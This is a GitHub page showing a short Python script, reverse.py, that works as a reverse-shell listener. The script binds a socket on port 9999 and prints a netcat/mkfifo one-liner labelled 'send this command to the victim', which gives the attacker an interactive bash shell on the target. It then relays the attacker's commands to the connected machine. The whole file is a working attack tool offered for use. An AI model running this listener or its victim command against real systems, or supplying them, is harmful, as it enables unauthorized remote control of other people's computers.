-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse.py
More file actions
39 lines (21 loc) · 840 Bytes
/
reverse.py
File metadata and controls
39 lines (21 loc) · 840 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket, sys, time
hostname = socket.gethostname()
ipaddress = socket.gethostbyname(hostname)
print("your ip address:-",ipaddress)
def listen(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, port))
s.listen(1)
print("Listening on port " + str(port) + (" ") + str(ipaddress))
print("send this command to the victim: mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc",ipaddress, "9999 >/tmp/f")
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
command += "\n"
conn.send(command.encode())
time.sleep(1)
sys.stdout.write("\033[A" + ans.split("\n")[-1])
listen(ipaddress,9999)